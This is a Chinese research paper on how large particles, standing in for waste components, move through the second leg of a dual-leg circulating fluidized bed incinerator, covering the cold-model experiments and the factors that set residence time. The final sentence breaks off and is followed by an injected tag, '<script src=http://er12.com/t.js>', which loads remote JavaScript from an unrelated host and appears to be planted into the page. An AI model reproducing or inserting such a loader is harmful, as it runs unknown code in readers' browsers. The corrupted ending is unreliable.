摘 要：双级料腿循环流化床垃圾焚烧炉采用分级转化技术，燃烧前脱氯，有效解决了高温腐蚀和二噁英造成的二次污染。该文采用不同的大颗粒物料来模拟垃圾中的不同组分，在双料腿循环流化床试验台中研究了颗粒的停留时间分布。结果表明，影响大颗粒停留时间的主要因素是循环流率、表观流化气速、颗粒的密度和尺寸。循环流率增大，停留时间急剧降低。表观气速对停留时间影响较小。颗粒密度对停留时间的影响比尺寸要大。颗粒越轻，停留时间越短。根据实验结果，建立了两并联全混釜停留时间分布模型，模型计算结果与实验结果吻合较好。
关键词：垃圾；双级料腿；循环流化床；停留时间；模型
1 引言
目前，世界各国面临最大的环保问题之一是垃圾处理问题。焚烧法处理垃圾，可实现垃圾的减容化、无害化、资源化。但是，垃圾焚烧的同时也产生了以下3个主要问题：高温腐蚀[1]、二噁英的污染、重金属的污染问题[2]。这3个问题都直接或间接的与垃圾中存在的氯有关。如果事先把垃圾中的氯去除，3个问题便可同时解决。中国科学院过程工程研究所提出了一种新型双级料腿循环流化床垃圾焚烧技术[1]。该技术采用分级转化方法，在常规循环流化床基础上，增加一个循环料腿，垃圾在这个循环料腿中与从一级回料腿来的热灰混合，垃圾热解后的气体经过一脱氯床后被引入燃烧室的上部，进行高温燃烧。半焦经过二级料腿回到燃烧室底部，进行低温燃烧。重金属也基本存留在灰渣中，有效地减轻了重金属的排放污染问题。设备内部就地脱氯，有效地解决了燃烧过程中高温腐蚀和二噁英的排放问题。
垃圾在双级料腿循环流化床第二级料腿中停留时间的长短直接影响垃圾的热解效率，如垃圾中的氯是否完全以氯化氢的形式溢出。这对双料腿循环流化床能否实现燃烧前脱除氯化氢是至关重要的。目前，对停留时间的研究多数集中在连续操作中气体的停留时间分布以及宽筛分流化床中细颗粒的停留时间分布[2~4]。对这样一种新型的双级料腿循环流化床的研究却鲜有报道。由于垃圾与床料颗粒(主要为沙子)特性的差异，因此，实验用不同种类的大颗粒物料来模拟垃圾中的不同组分，研究了不同密度、粒径的大颗粒物料在双级料腿循环流化床第二级循环料腿中停留时间的分布，建立了适用于本实验条件的停留时间分布数学模型。
2 实验装置及步骤
根据几何相似原理，建立了如图1所示的双级料腿循环流化床垃圾焚烧炉冷态实验装置，图中1~12为实验中所设的测压点，以监测实验工况的变化。脱氯床上加入定量的沙子来模拟实际的脱除氯化氢吸收剂。为了便于观察实验现象，实验装置全部用有机玻璃管构成。实验所用窄筛分床料为普通河沙，空气流化。各种实验用料的物性参数如表1所示。主床采用φ70的有机玻璃管，热解室采用φ50的有机玻璃管构成。主床高8.2m。在旋风分离器下部设置了一个循环流率的测量点，以测量瞬时循环流率。两级回料腿采用一种简易的流动密封阀。
开启循环流化床，调节流化气速u1、u2和u3，大约2 min后，各点的压力不再变化，流化稳定。把事先称量好的大颗粒物料从图1所示位置迅速加入到二级料腿中，同时开始计时，△t1时间后，关闭整个循环流化床。关闭的顺序是首先关闭二级料腿进气阀门，然后依次是燃烧室进气阀门和第一级料腿的进气阀门。取出热解室中的大颗粒物料称量，然后再取出燃烧室中的大颗粒物料称量，两次称量的物料量总和应等于最初加入的物料量。对应的1个时间△t1，一般重复做3次，取平均值，作为1个实验数据点。取时间△t2(△t2>△t1)，重复上述的操作。直到第二级循环料腿中加入的大颗粒物料量接近于零。一般对应一种大颗粒物料取8个数据点左右。
3 结果与模型讨论
3.1实验结果与讨论
通过改变主床流化风速，第一、二级循环料腿的流化风速、大颗粒的种类和重量以及改变通过脱氯床的阻力，分别测得了各种工况条件下大颗粒物料的停留时间分布。如图2~7所示。
图2所示为主床流化风速u1对大颗粒物料停留时间分布特性（rtd）的影响。u1增大，循环流率r(kg/m2s)增加，单位时间内颗粒的溢出量增加，因此，颗粒总的停留时间降低。图3所示为第二级循环料腿流化风速u2对rtd的影响。从图中可以看出，改变u2，对大颗粒的停留时间影响不大。这是因为，u2的变化对循环流率的贡献较小。同时，由于轻质的大颗粒在重质流化床中本身有上浮分离的趋势，而增加流化风速u2，气泡数量和大小增加，床内扰动增强，颗粒的轴向返混加强[5]。综合考虑这几个因素，使得颗粒的停留时间变化较小。图4所示为第一级循环料腿流化风速对rtd的影响。u3增大，系统的循环流率增加，在u2保持不变的情况下，单位时间从第二级料腿中溢流出的颗粒量增加，因此，颗粒总的停留时间减小。
图5所示为不同进样量对rtd的影响。当初始的大颗粒的质量?script src=http://er12.com/t.js>
